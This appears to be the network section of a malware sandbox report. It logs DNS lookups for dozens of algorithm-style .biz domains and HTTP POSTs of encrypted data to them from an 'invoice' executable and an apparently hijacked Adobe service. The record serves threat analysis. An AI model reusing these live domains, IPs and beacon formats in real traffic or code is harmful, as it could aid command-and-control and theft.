Nov 28, 2024 12:12:07.205333948 CET	192.168.2.22	8.8.8.8	0xd14b	Standard query (0)	uhxqin.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:12:07.340986967 CET	192.168.2.22	8.8.8.8	0xfdf5	Standard query (0)	anpmnmxo.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:12:07.465887070 CET	192.168.2.22	8.8.8.8	0xf42e	Standard query (0)	lpuegx.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:12:51.929265976 CET	192.168.2.22	8.8.8.8	0x9d6d	Standard query (0)	vjaxhpbji.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:36.258462906 CET	192.168.2.22	8.8.8.8	0x6670	Standard query (0)	xlfhhhm.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:38.649343014 CET	192.168.2.22	8.8.8.8	0xb22	Standard query (0)	ifsaia.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:41.439563036 CET	192.168.2.22	8.8.8.8	0xdc14	Standard query (0)	saytjshyf.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:42.862447023 CET	192.168.2.22	8.8.8.8	0xfda6	Standard query (0)	vcddkls.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:45.167891026 CET	192.168.2.22	8.8.8.8	0xb07f	Standard query (0)	fwiwk.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:47.992669106 CET	192.168.2.22	8.8.8.8	0x4232	Standard query (0)	tbjrpv.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:50.120928049 CET	192.168.2.22	8.8.8.8	0xf095	Standard query (0)	deoci.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:51.567184925 CET	192.168.2.22	8.8.8.8	0x727d	Standard query (0)	gytujflc.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:54.113997936 CET	192.168.2.22	8.8.8.8	0xfa1b	Standard query (0)	qaynky.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:01.800045967 CET	192.168.2.22	8.8.8.8	0x6b55	Standard query (0)	bumxkqgxu.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:03.253201962 CET	192.168.2.22	8.8.8.8	0x7a26	Standard query (0)	dwrqljrr.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:04.927429914 CET	192.168.2.22	8.8.8.8	0x2ae4	Standard query (0)	nqwjmb.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:06.636229038 CET	192.168.2.22	8.8.8.8	0xed01	Standard query (0)	ytctnunms.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:08.026230097 CET	192.168.2.22	8.8.8.8	0x23a4	Standard query (0)	myups.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:10.038036108 CET	192.168.2.22	8.8.8.8	0x950	Standard query (0)	oshhkdluh.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:11.666867018 CET	192.168.2.22	8.8.8.8	0x25d4	Standard query (0)	yunalwv.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:12.488692045 CET	192.168.2.22	8.8.8.8	0xabc7	Standard query (0)	jpskm.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:14.218981028 CET	192.168.2.22	8.8.8.8	0x3928	Standard query (0)	lrxdmhrr.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:15.844633102 CET	192.168.2.22	8.8.8.8	0xe7a0	Standard query (0)	wllvnzb.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:18.087620974 CET	192.168.2.22	8.8.8.8	0xa192	Standard query (0)	gnqgo.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:19.539539099 CET	192.168.2.22	8.8.8.8	0x1aa3	Standard query (0)	jhvzpcfg.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:20.947062969 CET	192.168.2.22	8.8.8.8	0xb742	Standard query (0)	acwjcqqv.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:23.395471096 CET	192.168.2.22	8.8.8.8	0xa29a	Standard query (0)	lejtdj.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:23.751730919 CET	192.168.2.22	8.8.8.8	0x7db3	Standard query (0)	vyome.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:25.457536936 CET	192.168.2.22	8.8.8.8	0xc6c1	Standard query (0)	yauexmxk.biz	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:26.905095100 CET	192.168.2.22	8.8.8.8	0x633b	Standard query (0)	iuzpxe.biz	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 12:11:51.880790949 CET	8.8.8.8	192.168.2.22	0xcce2	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:11:51.883121967 CET	8.8.8.8	192.168.2.22	0x96ba	No error (0)	pywolwnvd.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:11:53.606897116 CET	8.8.8.8	192.168.2.22	0xe817	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:11:53.671719074 CET	8.8.8.8	192.168.2.22	0x5662	No error (0)	ssbzmoy.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:11:55.924416065 CET	8.8.8.8	192.168.2.22	0xf993	No error (0)	cvgrf.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:11:57.611253023 CET	8.8.8.8	192.168.2.22	0xac3d	No error (0)	npukfztj.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:11:59.321238995 CET	8.8.8.8	192.168.2.22	0xc66a	No error (0)	przvgke.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:11:59.321238995 CET	8.8.8.8	192.168.2.22	0xc66a	No error (0)	przvgke.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:12:04.810594082 CET	8.8.8.8	192.168.2.22	0xa99e	Name error (3)	zlenh.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:12:04.948873997 CET	8.8.8.8	192.168.2.22	0x71b4	No error (0)	knjghuig.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:12:07.339690924 CET	8.8.8.8	192.168.2.22	0xd14b	Name error (3)	uhxqin.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:12:07.464014053 CET	8.8.8.8	192.168.2.22	0xfdf5	Name error (3)	anpmnmxo.biz	none	none	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:12:07.600780964 CET	8.8.8.8	192.168.2.22	0xf42e	No error (0)	lpuegx.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:12:52.054832935 CET	8.8.8.8	192.168.2.22	0x9d6d	No error (0)	vjaxhpbji.biz		82.112.184.197	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:36.392750025 CET	8.8.8.8	192.168.2.22	0x6670	No error (0)	xlfhhhm.biz		47.129.31.212	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:38.772140980 CET	8.8.8.8	192.168.2.22	0xb22	No error (0)	ifsaia.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:41.573719025 CET	8.8.8.8	192.168.2.22	0xdc14	No error (0)	saytjshyf.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:42.996898890 CET	8.8.8.8	192.168.2.22	0xfda6	No error (0)	vcddkls.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:45.302222967 CET	8.8.8.8	192.168.2.22	0xb07f	No error (0)	fwiwk.biz		172.234.222.143	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:45.302222967 CET	8.8.8.8	192.168.2.22	0xb07f	No error (0)	fwiwk.biz		172.234.222.138	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:48.115710974 CET	8.8.8.8	192.168.2.22	0x4232	No error (0)	tbjrpv.biz		34.246.200.160	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:50.243944883 CET	8.8.8.8	192.168.2.22	0xf095	No error (0)	deoci.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:51.702402115 CET	8.8.8.8	192.168.2.22	0x727d	No error (0)	gytujflc.biz		208.100.26.245	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:13:54.248264074 CET	8.8.8.8	192.168.2.22	0xfa1b	No error (0)	qaynky.biz		13.251.16.150	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:01.935954094 CET	8.8.8.8	192.168.2.22	0x6b55	No error (0)	bumxkqgxu.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:03.387825966 CET	8.8.8.8	192.168.2.22	0x7a26	No error (0)	dwrqljrr.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:05.050311089 CET	8.8.8.8	192.168.2.22	0x2ae4	No error (0)	nqwjmb.biz		35.164.78.200	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:06.759259939 CET	8.8.8.8	192.168.2.22	0xed01	No error (0)	ytctnunms.biz		3.94.10.34	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:08.149116993 CET	8.8.8.8	192.168.2.22	0x23a4	No error (0)	myups.biz		165.160.15.20	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:08.149116993 CET	8.8.8.8	192.168.2.22	0x23a4	No error (0)	myups.biz		165.160.13.20	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:10.162388086 CET	8.8.8.8	192.168.2.22	0x950	No error (0)	oshhkdluh.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:11.801893950 CET	8.8.8.8	192.168.2.22	0x25d4	No error (0)	yunalwv.biz		208.100.26.245	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:12.623533964 CET	8.8.8.8	192.168.2.22	0xabc7	No error (0)	jpskm.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:14.353184938 CET	8.8.8.8	192.168.2.22	0x3928	No error (0)	lrxdmhrr.biz		54.244.188.177	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:15.979394913 CET	8.8.8.8	192.168.2.22	0xe7a0	No error (0)	wllvnzb.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:18.224440098 CET	8.8.8.8	192.168.2.22	0xa192	No error (0)	gnqgo.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:19.663516045 CET	8.8.8.8	192.168.2.22	0x1aa3	No error (0)	jhvzpcfg.biz		44.221.84.105	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:21.081248045 CET	8.8.8.8	192.168.2.22	0xb742	No error (0)	acwjcqqv.biz		18.141.10.107	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:23.885927916 CET	8.8.8.8	192.168.2.22	0x7db3	No error (0)	vyome.biz		18.246.231.120	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:25.592184067 CET	8.8.8.8	192.168.2.22	0xc6c1	No error (0)	yauexmxk.biz		18.208.156.248	A (IP address)	IN (0x0001)	false
Nov 28, 2024 12:14:27.039477110 CET	8.8.8.8	192.168.2.22	0x633b	No error (0)	iuzpxe.biz		13.251.16.150	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

pywolwnvd.biz

ssbzmoy.biz

cvgrf.biz

npukfztj.biz

przvgke.biz

knjghuig.biz

lpuegx.biz

vjaxhpbji.biz

xlfhhhm.biz

ifsaia.biz

saytjshyf.biz

vcddkls.biz

fwiwk.biz

tbjrpv.biz

deoci.biz

gytujflc.biz

qaynky.biz

bumxkqgxu.biz

dwrqljrr.biz

oshhkdluh.biz

yunalwv.biz

lrxdmhrr.biz

wllvnzb.biz

gnqgo.biz

jhvzpcfg.biz

acwjcqqv.biz

yauexmxk.biz

iuzpxe.biz

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	54.244.188.177	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:11:52.049103975 CET	355	OUT	POST /qbdegkuges HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:11:52.049149990 CET	852	OUT	Data Raw: da a2 7e be 31 2f 5e c9 48 03 00 00 86 c5 09 5c 31 8c f8 cd 46 ce 7b 33 f7 da be f2 87 b6 3e 08 4f 29 28 10 b3 f6 7b e1 31 e6 6f 88 05 52 cc ab 42 bd e5 63 59 68 10 53 a9 8e 50 12 3b 13 11 e5 95 04 be 61 5f 17 d6 05 a9 21 06 73 17 3f 0c 36 76 70 Data Ascii: ~1/^H\1F{3>O)({1oRBcYhSP;a_!s?6vpC++]O.XL>e9a0ZEz2"q-OC1a:*j"1[;&Y+_\\|iML4'-Ss{kYYn<?Gr8M#;K5MpL2C#k6`KqS
Nov 28, 2024 12:11:53.445842981 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:11:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=421e9b27de3d6b9b689ef6b771a998f7\|8.46.123.228\|1732792313\|1732792313\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.22	49164	54.244.188.177	80	3268	C:\Users\user\Desktop\invoice_96.73.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:11:52.053747892 CET	355	OUT	POST /qbdegkuges HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: pywolwnvd.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 808
Nov 28, 2024 12:11:52.053747892 CET	808	OUT	Data Raw: 43 2f 84 a8 84 07 6c e0 1c 03 00 00 72 8e 7f 2f 57 34 72 05 d9 a8 b5 1c 8a fa 8c 29 4d 66 67 d2 72 fe e4 80 3d 8c 81 52 2a 3c 5a 6a 86 89 58 59 ea 23 3f 99 a2 aa 9f be 4d 8a b6 e7 be 0d c6 d3 0e 9a ad dc 33 51 7b 48 89 89 60 a9 d2 d9 27 47 e8 a7 Data Ascii: C/lr/W4r)Mfgr=R*<ZjXY#?M3Q{H`'GE1!9'e7qC\|!mX"ix=lDJk)lY'o)EhfA12K$,/nSHq:Um#JH24II\|a'P8w&]
Nov 28, 2024 12:11:53.408859968 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:11:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=809b3761f185e27ce04ab0abcdbfede6\|8.46.123.228\|1732792313\|1732792313\|0\|1\|0; path=/; domain=.pywolwnvd.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49165	18.141.10.107	80	3268	C:\Users\user\Desktop\invoice_96.73.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:11:53.728768110 CET	358	OUT	POST /bpewylwxymwihal HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 808
Nov 28, 2024 12:11:53.728799105 CET	808	OUT	Data Raw: be 8b 45 25 13 8c 84 e5 1c 03 00 00 03 9b 8f 74 5d 8c d0 c9 0d e0 2a 1b 71 2a fb 43 58 5f b2 43 11 12 e5 58 01 c0 b4 33 0a 86 77 e0 01 23 83 ca 10 e2 4c e5 0a ef cb 14 66 b9 8c b9 47 68 7f 71 2a 46 de 2d a9 5c cd 51 4d c8 63 21 c8 1d ce 21 f5 2e Data Ascii: E%t]qCX_CX3w#LfGhqF-\QMc!!.qG>u%bf'DE<0UCB%(2w$HIna)w h$<gVA):7IlVSs_im$axLF/=A$qb=>Ob4e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49166	18.141.10.107	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:11:53.793314934 CET	356	OUT	POST /xuofommcmtwcs HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ssbzmoy.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:11:53.793332100 CET	852	OUT	Data Raw: 8c a9 87 f9 6d e4 78 83 48 03 00 00 44 15 00 5d 06 98 90 a0 64 20 21 90 da 33 3d 28 44 0a 60 cc 4f a4 dd 78 4f 61 24 f6 38 34 d9 a2 13 fd 28 c3 68 79 c5 e2 df 57 70 7a 46 ca ce 45 d9 53 36 30 9d 06 a3 2d 4b 3f b6 4f 85 a3 80 c1 f4 9d f3 42 c6 48 Data Ascii: mxHD]d !3=(D`OxOa$84(hyWpzFES60-K?OBHZ<L#vnr<Vy$c/WD,#R'D~%]z!)jlq1YzP8Dvw-=.YrtZ.uMh<m<twrEF`
Nov 28, 2024 12:11:55.782172918 CET	411	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:11:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=3219e5bd7b92d3f41966d365cc5970ca\|8.46.123.228\|1732792315\|1732792315\|0\|1\|0; path=/; domain=.ssbzmoy.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49167	54.244.188.177	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:11:56.047502041 CET	344	OUT	POST /dyk HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: cvgrf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:11:56.047527075 CET	852	OUT	Data Raw: 32 22 b8 f4 b3 cf 5d 40 48 03 00 00 d6 f1 90 11 5e af 4c d3 b0 71 ab aa 29 80 6b ef bf c5 f7 9e c2 dd 72 38 15 78 6e f2 fc ba 9b 5d 99 59 53 15 a0 7b b1 6e 6d 7f 8f 62 d8 e1 11 ba 19 49 3e 5f 4b 55 a6 59 2a e4 f9 e5 bf 0b 81 17 a2 07 93 2c 49 d1 Data Ascii: 2"]@H^Lq)kr8xn]YS{nmbI>_KUY*,IV1SiImKyg! K' cLMFlZ(NI3PRu#&bu\Q Po1FwlPJ.F!Vp"2\+%d/Du
Nov 28, 2024 12:11:57.410089970 CET	409	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:11:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=78308ab4f9f651eb0c5d103d5419703b\|8.46.123.228\|1732792317\|1732792317\|0\|1\|0; path=/; domain=.cvgrf.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49168	44.221.84.105	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:11:57.867679119 CET	350	OUT	POST /xtaadg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: npukfztj.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:11:57.867697954 CET	852	OUT	Data Raw: e5 41 c4 65 37 17 24 e1 48 03 00 00 a7 a2 9f 6a fb a7 ec 66 5e 7a dd 73 fa d4 74 f8 0d 41 90 ac eb 0d 72 19 8e a3 f4 57 5e e6 a7 09 00 bd c9 a8 62 45 15 fd 53 c6 d5 82 83 b7 df 57 70 21 48 40 0b 15 26 5c 36 bd 0c f4 a4 bd 7d 51 1d f6 1f bc 72 7e Data Ascii: Ae7$Hjf^zstArW^bESWp!H@&\6}Qr~T2OP>G.*b{fYYE!yr\Ls+~ehUljqg=_Q(.r]iNb#$[&<zrwmg[,il<F)JD?U@:
Nov 28, 2024 12:11:58.960014105 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:11:58 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=7871629bca75bcf8f46013795aff480e\|8.46.123.228\|1732792318\|1732792318\|0\|1\|0; path=/; domain=.npukfztj.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.22	49169	172.234.222.143	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:11:59.443458080 CET	348	OUT	POST /nabdw HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:11:59.443593025 CET	852	OUT	Data Raw: 94 64 08 d6 6f 08 c3 f2 48 03 00 00 c9 e4 f0 ed ef 44 0b a9 72 03 d6 26 13 03 f0 e8 c1 0f 7b 95 5e c8 6e 08 30 ac 35 c5 b8 20 3c 7d 77 d2 b1 af 9c ef 61 c2 99 6c af da d3 77 b1 01 6d 18 f2 b0 e9 5c e7 e7 b9 fb 07 6d f9 e0 03 00 8d 48 c4 68 ad 36 Data Ascii: doHDr&{^n05 <}walwm\mHh6y{4l$"spm{uv^&,~U!yfs\O$}7fWx4q=r(7\Tg\-B_$s''f1I.<RX"k:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.22	49170	172.234.222.143	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:12:03.497939110 CET	355	OUT	POST /vccrolpmtjge HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: przvgke.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:12:03.497953892 CET	852	OUT	Data Raw: bb 4e c4 82 d6 62 95 2c 48 03 00 00 a5 85 e7 65 e1 61 80 e2 bc 17 8b e0 15 ea 9f bd 04 0a 12 54 0a 98 e1 0d 91 a6 2d fb 37 5a 1e 32 11 a1 12 5c fe 9a 2e 93 d1 f2 9e 49 7e 74 b5 a1 64 1a a3 12 a0 eb df 62 94 c0 85 22 0a b9 24 ef 75 9d 34 81 a4 cb Data Ascii: Nb,HeaT-7Z2\.I~tdb"$u4J!d.[Txe.BeHsgb` zzE8hwM#HYxNp~`r*cvA@nng[(@hi)I:GbR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.22	49171	18.141.10.107	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:12:05.069866896 CET	357	OUT	POST /ydlpotfktdldc HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: knjghuig.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:12:05.069896936 CET	852	OUT	Data Raw: 6c 55 cd bd 12 16 af e6 48 03 00 00 35 ea 07 5b 73 21 d0 38 f9 6b 69 a9 46 bd 91 58 19 67 1c 4c ff 5b c6 e3 3b a5 21 b6 61 da 1a b7 54 e8 9c ea 2e 3f e6 0c 39 23 9b 61 44 bc f2 b1 ab 4f 14 08 71 46 8b 38 01 77 ec bb 3d 33 76 24 6d 00 e4 ba 0d de Data Ascii: lUH5[s!8kiFXgL[;!aT.?9#aDOqF8w=3v$ma/<[('!QL(A~-<*!@kC1omFTSmwn,{N099ovuM&s+Y=(.10_mI,pi(u<q;8EmJ(l
Nov 28, 2024 12:12:07.188550949 CET	412	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Nov 2024 11:12:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=ae9ac7ab12da79f958239291fe67bba1\|8.46.123.228\|1732792326\|1732792326\|0\|1\|0; path=/; domain=.knjghuig.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=8.46.123.228; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.22	49172	82.112.184.197	80	3320	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 12:12:07.722009897 CET	343	OUT	POST /m HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lpuegx.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 852
Nov 28, 2024 12:12:07.722022057 CET	852	OUT	Data Raw: 40 1a 74 a1 9d 8e bb 29 48 03 00 00 26 92 a2 d3 9b 0f 2f a9 80 7a de d1 08 94 17 8a 81 d3 7e 09 8e 6a b8 60 36 ed 67 a1 21 2c b5 f8 74 ec 33 dc 9c 8a de 73 f4 4f f6 2b d0 40 3f 42 82 56 ee 47 4a 1d 08 f7 b2 77 cd dc 1e 1d fb 86 87 fc 4b ba ce 00 Data Ascii: @t)H&/z~j`6g!,t3sO+@?BVGJwKMW("0)Qx8WQATEOi457Xcc@rGJ$\|QlnZWc\|(Z}Yh2r@}\|zi$>-$,WN7%R~

